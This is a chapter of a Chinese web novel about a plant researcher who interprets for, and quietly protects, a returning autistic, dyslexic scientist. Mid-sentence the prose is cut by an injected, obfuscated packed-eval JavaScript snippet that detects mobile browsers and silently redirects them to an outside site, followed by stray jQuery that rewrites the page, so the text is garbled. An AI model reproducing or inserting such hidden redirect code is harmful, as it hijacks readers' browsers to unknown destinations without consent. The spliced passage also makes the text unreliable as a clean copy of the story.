“……”邓迟垂下眼睫，错开目光，“是，一种高功能自闭症。”邓迟没用法语，而是换了英文专有名词。
周璇叹了口气：“怪不得，所以你很抵触人多的环境是吗？”
邓迟有些意外，他没想到周璇已经细心地察觉到了他的异常。
“而且，也不喜欢待在密闭空间，是不是？”
邓迟开口：“如果是在室内，我需要坐在窗边，不然……”
“不然就会精神高度紧张，反应过激，不能控制自己的身体。所以，你才会在电梯里浑身颤抖，甚至还想从报告厅里临阵脱逃？”
邓迟这次没说话，但是盯着周璇的双眼藏着惊讶。
“我之前有一个弟弟，也患有这种高功能自闭症。”周璇想到什么，声音低下去。
邓迟看着周璇突然低落下去的神色，开口正要出声发问，却听周璇冲他笑了一下：“我得赶紧回去了，一秋可能还需要我帮忙，再见，邓学者。”
邓迟看着周璇脑后摇荡的高马尾，愣了神，随后，他的目光滑向周璇递给他的西装外套。
周璇握过的地方还带着属于她的温度，邓迟指尖不小心触到，像是被烫了手，慌乱无措地收回。
周璇回到报告厅，交流会已经结束，观众纷纷离席，葛一秋像条脱了水的鱼，瘫倒在周璇旁边的座位上。
“累死了，牛马真是太难当了。”葛一秋吨吨吨灌下一瓶矿泉水，“这种交流会老娘以后再也不要接了，谁爱干谁干。”
“你组织得很好。”周璇递给葛一秋一瓶水，真诚地肯定道。
“嘿嘿。”葛一秋腼腆地笑了笑，虽然累，但是自己亲手办成了这么一场会议，还是很有成就感的。“还行吧，除了邓学者那场的意外，别的还行。”
说到这，葛一秋一个鲤鱼打挺坐起身：“阿璇，想不到你还会法语，要不是你，今天真得完蛋，你是不知道当时所长的表情有多难看，我的心都要跳出来了！”
“我大学的时候去法国交流过一年多，基础的法语可以听懂。”还好邓迟及时改掉了一些专有名词，不然，周璇也胜任不了。
“不过，你说这邓学者什么意思，为了显摆他是在法国深造回来的海归吗？明明是中国人，还在都是国人的交流会上说法语，真是讨厌死了。”
“……”周璇愣了一瞬，“可能时间太久，他中文生疏了。”
“怎么可能，我看过他的履历，十五岁才出国的，再忘也不能把从娘胎里带出来的母语忘了吧。我看他就是忘本，就算脸长得好看，我也不要喜欢了！”
其实，周璇知道原因，因为阿斯伯格综合症和读写障碍。
阿斯伯格综合症，也称为高功能自闭症，是自闭症谱系障碍的一种。患有这种自闭症的患者虽然智力正常，但是通常会存在社交困难，不能理解社交规范，如面部表情、肢体语言和眼神交流等的含义。另外，对声音、光线、气味等感官刺激会产生过度的反应，还会经常从事重复的动作或行为，如反复整理物品、走固定路线等。
而邓迟有点特殊，周璇刚才看到了邓迟的发言稿，很奇怪，哪怕她认识法语，但是那上面全是她看不懂的符号和标记。所以，她发现邓迟似乎还患有一定的读写障碍。
再加上自闭症，他与人交流存在困难。因此，对于他来说，学习语言多半要比正常人难上千倍百倍。
所以在十多年不使用中文的情况下，才会彻彻底底生疏。这对正常人来说不可能，但放在患有阿斯伯格综合症，还有读写障碍的邓迟来说，却情有可原。
但是，周璇有点不敢想象，邓迟是怎么学会法语的，那对他这种有阅读障碍的人来说，那是常人不敢相信的艰难。
不过，哪怕周璇肚子里清明，她也不能将这些告诉葛一秋，患有阿斯伯格综合症这件事算是邓迟的隐私，他好像并不希望别人知道。
周璇正扯了些别的原因为邓迟解释，却听刘蓝清忽然从身后插了话：“邓学者自小就患有自闭症和读写障碍，十几年没回国，当然不会说母语了。”
“什么？自闭症和读写障碍？”葛一秋惊讶道。
“嗯。”刘蓝清点头。
“冒犯了，邓学者。”葛一秋为自己刚才的话道歉，“看来，上帝为人们打开一扇窗的同时，就会关上一扇窗。那么个大帅哥，还是个智商超群的天才，谁能想道有自闭症和读写障碍。”葛一秋唏嘘道。
“刘老师怎么知道的？”周璇看向身后的刘蓝清。
“我妈妈跟邓迟的姑姑是同事，在一个医院工作，知道的。”刘蓝清回答。
“刘老师，还有什么关于这个神人的故事不，快给我们讲讲。”葛一秋拉住刘蓝清的手。
“别的也不清楚，只是听我爸妈说哈，邓迟父母好像是什么公司的总裁，一直花重金给他看心理医生，但始终不见好，最后夫妻两人又生了二胎。那段时间邓迟的自闭症好像很严重，甚至有一次还伤害了襁褓里的弟弟。于是，他就被迫离开家跟随姑姑生活了一段时间，十五岁的时候，他又被爸妈送到了法国读书，独自一人求学，再也没回来过。这是他这么多年第一次回国。”刘蓝清顿了一下，“我倒是很好奇，邓学者在国外生态舱领域大名鼎鼎，待遇很高，他怎么会放弃一切归国。”
闻言，周璇和葛一秋都沉默了，还没待两人从这一席话里缓过神，有工作人员来到跟前问哪个是周璇。
周璇连忙应道：“你好，找我什么事？”
“周研究员，是所长叫我来的。邓学者正在和所长谈话，请您去当个临时翻译。”
“好。”周璇应下。
走进所长办公室的时候，周璇下意识地去看窗户，发现邓迟正坐在窗边，她才放心地收回目光。谁知，这些都落进邓迟的眼里。
两人四目相对，邓迟率先垂下眼睫避开。
周璇作为翻译，帮助邓迟和所长寒暄了一番，无非是夸邓迟如何如何青年才俊，第一次见面很是荣幸；感谢上级派邓迟莅临所里，指导研究院使用刚落成的纳米生态舱；以及期待未来半年的愉快合作。
全程邓迟都很少开口，开口也是惜字如金，只蹦出几个字。
听着听着，周璇才知道，邓迟不是立刻就要返回科研院，而是要在植物研究所待半年。周璇想，这下倒是刚好有机会请教一下邓迟，是否可以建成模拟红色森林的生态舱，来挽救希归。
“小周——”
周璇正在走神，却听所长端着个银茶缸叫她，周璇连忙回神，点了下头：“所长。”
“邓学者刚从法国回来，语言不通，生活不便，你这段时间就多关照一下。”
“所长，我手头还有工作。”周璇心心念念她的希归，可没时间给人当助理。
“给你加薪。”所长大手一挥，“手头的工作先放放，我会找人接手，工资照发，另外帮助邓学者的工资按照翻译的时薪结算，待会，我会找人事的工作人员按排。”
“是，所长！”周璇腾得站起身，就差鞠躬敬礼了，银子，白花花的银子，有钱不赚王八蛋！周璇立刻拿下这门差事，琢磨自己可以在邓大学者
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230293|181679||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
用不着她的时候照顾希归，反正总能挤出来时间。
邓迟看了一眼笑意盈盈的周璇，没出声，但也并未拒绝。
见事情安排妥当，到了吃午饭的时间，所长宣布结束，众人便离开办公室，等在电梯前。
周璇和邓迟站在人群末尾，周璇悄不作声地拉了拉邓迟的袖子，冲他眨了下眼，打了个让邓迟跟她走的手势。
邓迟迟疑了一瞬，看着周璇荡悠悠的俏皮马尾，竟然没有拒绝，默不作声地跟上。
“你不喜欢封闭空间，我们走楼梯下去吧。”周璇笑着回头看邓迟，“虽然费劲了点，就当饭前运动。”
邓迟没作声，离了半步的距离，亦步亦趋地跟在周璇身后。
两人正走在无人的楼梯间，却听脚下传来一阵不合时宜的对话。
“这邓学者长得好帅啊，之前见过的理工男都是满脸青春痘，一副黑框瓶底眼镜，一身格子衬衫牛仔裤，头发几乎谢顶。但邓学者哪里像是躬身实验室的研究人员啊，帅得能原地出道了！”
“哎呀，你没听人说吗，邓迟他爸是某上市公司的总裁，典型的富二代，S大除了天才，还有贵族天龙人。人家哪里用得着像我们一样在实验室吭哧吭哧地做实验啊，躺着就把书读完了。”
“可不嘛，一席洋话说得溜，连母语都忘了，明显是给我们摆架子呢，人家是上等人。你看看，什么都不做，拿了个学位回国，还能落一个爱国科学家的好名声。有钱就是好啊，哎！”
这席话一字不落地飘进周璇和邓迟的耳朵，周璇僵在原地，进也不是，退也不是，扭头瞧了瞧邓迟。
他低头垂眸，看不清神色。但周璇注意到，邓迟的指节隐隐发白。
周璇收回目光，抿了下唇，眼珠一转，开口咳了一声：“咳咳……邓学者，电梯人实在多，咱们走楼梯，省得跟那群人挤在一起。”周璇说这句话用的是中文。
“刚才跟您交谈了一番关于生态舱的知识，我受益匪浅，不亏是师从世界生态舱泰斗阿尔曼先生的顶尖学者。刚才所长说要留您在我们这儿指导工作半年，我们全所都很荣幸，之后还请您多多指教！”
周璇说这些话并没有对着邓迟，而是故意扯大了嗓门对着楼下，她没看到身后的邓迟目光紧紧盯在她自说自话的俏皮脸颊上。
周璇的独角戏唱完，楼下的人被吓了一跳，连忙推搡着离开。周璇叹了口气，回头去看邓迟，对上邓迟认真的目光。
“你说了什么？”邓迟问。
“没什么，问了问楼下的人中午餐厅有什么饭菜。”周璇笑了下，而后继续往下走。
但周璇忽略了一件事，邓迟虽然很多年没有接触过汉语，但他记忆力超群，只是不会说汉语，一些词语和发音他还有些印象，他从一些词语里隐约听出刚才的那些人在说他坏话，而周璇在给他出气。
周璇的一番话，不仅点名了他师从国际顶尖学者，还强调了所长对他的认可，甚至透露了未来半年他都会留在这里，这些人最好收敛一点。
周璇没有察觉到身后人目光的变化，已经走到了下一层，她看身后的人没有跟上，便用法语呼唤道：“快走吧，晚了餐厅就没好吃的菜了。”
“谢谢。”
“你说什么？”
“……没什么。”邓迟对上周璇仰起的明媚笑靥，别过脸去。
当邓迟赶上周璇时，没有再刻意与她隔半步的距离，两人肩并着肩。
不知道为什么，周璇隐隐察觉到邓迟身上一直笼罩的焦燥和压抑似乎不知不觉淡去。